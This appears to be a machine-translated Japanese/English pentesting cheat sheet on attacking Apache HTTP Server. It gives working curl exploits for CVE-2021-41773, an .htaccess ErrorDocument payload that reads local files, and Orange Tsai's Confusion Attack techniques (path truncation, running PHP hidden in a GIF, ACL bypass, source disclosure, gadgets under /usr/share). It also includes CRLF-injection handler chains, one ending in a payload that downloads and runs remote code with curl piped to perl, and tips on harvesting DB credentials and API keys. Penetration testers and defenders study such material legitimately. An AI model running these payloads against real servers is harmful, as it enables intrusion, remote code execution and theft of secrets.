Apache

Reading time: 17 minutes

実行可能な PHP 拡張

Apache サーバーが実行している PHP 拡張を確認します。検索するには、次のコマンドを実行できます:

grep -R -B1 "httpd-php" /etc/apache2

また、この設定が見つかる場所の例は次のとおりです：

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

LFI を使った .htaccess ErrorDocument file provider (ap_expr)

ディレクトリの .htaccess を制御でき、かつそのパスで AllowOverride に FileInfo が含まれている場合、ErrorDocument 内で ap_expr の file() 関数を使用して 404 レスポンスを任意のローカルファイル読み取りに変えることができます。

• 要件:
• Apache 2.4 で expression parser (ap_expr) が有効になっていること（2.4 ではデフォルト）。
• vhost/dir が .htaccess で ErrorDocument を設定できるようになっていること（AllowOverride FileInfo）。
• Apache worker user にターゲットファイルの読み取り権限があること。

.htaccess ペイロード:

# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}

そのディレクトリ以下の存在しないパスへのリクエストでトリガーします。例えば userdir-style hosting を悪用する場合など:

curl -s http://target/~user/does-not-exist | sed -n '1,20p'

Notes and tips:

• 絶対パスのみが動作します。コンテンツは404ハンドラのレスポンスボディとして返されます。
• 実際の読み取り権限は Apache ユーザー（通常は www-data/apache）のものになります。デフォルト構成では /root/* や /etc/shadow を読むことはできません。
• .htaccess が root 所有であっても、親ディレクトリがテナント所有で rename を許可している場合、元の .htaccess をリネームして自分の置換を SFTP/FTP 経由でアップロードできる可能性があります：
• rename .htaccess .htaccess.bk
• put your malicious .htaccess
• これを利用して DocumentRoot や vhost の設定パス下にあるアプリケーションソースを読み、秘密情報（DB creds、API keys 等）を収集できます。

Confusion Attack

These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.

Filename Confusion

Truncation

The mod_rewrite will trim the content of r->filename after the character ? (modules/mappers/mod_rewrite.c#L4141). This isn't totally wrong as most modules will treat r->filename as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.

• Path Truncation

It's possible to abuse mod_rewrite like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a ?:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

• 誤誘導された RewriteFlag の割り当て

以下の rewrite ルールでは、URL が .php で終わる限り、それは php として扱われ実行されます。したがって、? の後に .php で終わる URL を送信しつつ、パスには別の種類のファイル（画像など）を読み込ませ、その中に悪意のある php コードを含めることが可能です：

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

次のような設定ではアクセスが拒否されるはずのファイルに、ユーザーがアクセスできてしまうことがある:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

これは、デフォルトでは PHP-FPM が .php で終わる URL（例: http://server/admin.php%3Fooo.php）を受け取り、PHP-FPM が文字 ? より後を削除するため、前述の URL は前のルールで禁止されていても /admin.php を読み込めてしまうためです。

DocumentRoot の混乱

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to https://server/abouth.html will check for the file in /var/www/html/about.html and /about.html in the file system. Which basically can be abused to access files in the file system.

サーバーサイドのソースコード開示

• CGI ソースコードの開示

Just adding a %3F at the end is enough to leak the source code of a cgi module:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

• PHP ソースコードの公開

サーバーに複数のドメインがあり、そのうちの1つが静的ドメインである場合、これを悪用してファイルシステムを横断し、php code を leak することができる:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Local Gadgets Manipulation

前の攻撃での主な問題は、デフォルトではほとんどのファイルシステムへのアクセスが拒否されることであり、これは Apache HTTP Server の configuration template にあるように:

<Directory />
AllowOverride None
Require all denied
</Directory>

ただし、Debian/Ubuntu オペレーティングシステムはデフォルトで /usr/share を許可します:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

したがって、これらのディストリビューションでは /usr/share 内にあるファイルを悪用することが可能です。

Local Gadget to Information Disclosure

• Apache HTTP Server with websocketd may expose the dump-env.php script at /usr/share/doc/websocketd/examples/php/, which can leak sensitive environment variables.
• Nginx や Jetty を使うサーバは、/usr/share 配下のデフォルトの Web ルートから機密な Web アプリケーション情報（例：web.xml）を公開してしまう可能性があります:
• /usr/share/nginx/html/
• /usr/share/jetty9/etc/
• /usr/share/jetty9/webapps/

Local Gadget to XSS

• LibreOffice installed のある Ubuntu Desktop では、ヘルプファイルの言語切替機能を悪用すると Cross-Site Scripting (XSS) を引き起こす可能性があります。/usr/share/libreoffice/help/help.html の URL を操作することで、unsafe RewriteRule により悪意のあるページや古いバージョンへリダイレクトされる恐れがあります。

Local Gadget to LFI

• PHP や JpGraph、jQuery-jFeed のような特定のフロントエンドパッケージがインストールされている場合、それらのファイルを悪用して /etc/passwd のような機密ファイルを読み取ることができます:
• /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
• /usr/share/javascript/jquery-jfeed/proxy.php
• /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Local Gadget to SSRF

• MagpieRSS's magpie_debug.php（/usr/share/php/magpierss/scripts/magpie_debug.php）を利用すると、簡単に SSRF 脆弱性を作り出せ、さらなる攻撃への足がかりとなります。

Local Gadget to RCE

• 古い PHPUnit や phpLiteAdmin のような脆弱なインストールは、Remote Code Execution (RCE) の機会を多数提供し、任意のコード実行に悪用され得ます。ローカルガジェットの操作が持つ広範な潜在力を示しています。

Jailbreak from Local Gadgets

許可されたフォルダ内にある、そこにインストールされたソフトウェアが生成するシンボリックリンクを辿ることで、jailbreak することも可能です。例えば：

• Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
• Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
• Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
• MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
• SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

さらに、シンボリックリンクを悪用することで RCE in Redmine. を得ることが可能でした。

Handler Confusion

この攻撃は AddHandler と AddType ディレクティブの機能重複を突くものです。どちらも enable PHP processing に使われ得ます。本来、これらのディレクティブはサーバ内部構造の異なるフィールド（それぞれ r->handler と r->content_type）に作用します。しかしレガシーコードのため、Apache は特定条件下でこれらを相互に扱い、前者が空で後者が設定されている場合に r->content_type を r->handler に変換してしまいます。

さらに、Apache HTTP Server（server/config.c#L420）では、ap_run_handler() 実行前に r->handler が空であれば、サーバは r->content_type を handler として使用します。その結果、AddType と AddHandler は実質的に同等の効果を持ちます。

Overwrite Handler to Disclose PHP Source Code

In this talk では、クライアントが送信した不正な Content-Length により Apache が誤って PHP のソースコードを返してしまう 脆弱性が紹介されました。これは ModSecurity と Apache Portable Runtime (APR) のエラーハンドリングの問題に起因し、二重レスポンスによって r->content_type が text/html に上書きされるためです。
ModSecurity が戻り値を適切に処理しないため、PHP コードがそのまま返され、解釈されません。

Overwrite Handler to XXXX

TODO: Orange はまだこの脆弱性を公開していません

Invoke Arbitrary Handlers

攻撃者がサーバ応答の Content-Type ヘッダを制御できる場合、彼は invoke arbitrary module handlers することが可能になります。ただし、その段階までにリクエスト処理の多くは既に実行されてしまっています。しかし、Location ヘッダを悪用してリクエスト処理を再起動することが可能です。なぜなら、returned Status が 200 で Location ヘッダが / で始まる場合、その応答はサーバサイドリダイレクトとして扱われ再処理されるからです。

RFC 3875（CGI に関する仕様）によれば、Section 6.2.2 は Local Redirect Response の挙動を次のように定義しています:

CGI スクリプトは Location ヘッダフィールドでローカルリソースの URI パスとクエリ文字列（'local-pathquery'）を返すことができます。これはサーバに対して、指定されたパスを使用してリクエストを再処理すべきことを示します。

したがって、この攻撃を実行するには次のうちいずれかの脆弱性が必要です:

• CRLF Injection in the CGI response headers
• SSRF with complete control of the response headers

Arbitrary Handler to Information Disclosure

For example /server-status should only be accessible locally:

<Location /server-status>
SetHandler server-status
Require local
</Location>

Content-Type を server-status に設定し、Location ヘッダーを / で始まる値にするとアクセス可能です。

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

任意の Handler から Full SSRF へ

mod_proxy にリダイレクトして、任意の URL 上の任意のプロトコルにアクセスする:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

しかし、X-Forwarded-For ヘッダーが追加されており、クラウドのメタデータエンドポイントへのアクセスが妨げられています。

ローカル Unix ドメインソケットにアクセスする任意のハンドラ

PHP-FPM のローカル Unix ドメインソケットにアクセスして、/tmp/ にある PHP backdoor を実行する:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitrary Handler to RCE

公式の PHP Docker イメージには PEAR (Pearcmd.php) が含まれており、コマンドラインの PHP パッケージ管理ツールで、RCE を取得するために悪用できます:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

この手法の詳細は、Docker PHP LFI Summary（Phith0nによる）を参照してください。

参考資料

• https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
• Apache 2.4 Custom Error Responses (ErrorDocument)
• Apache 2.4 Expressions and functions (file:)
• HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse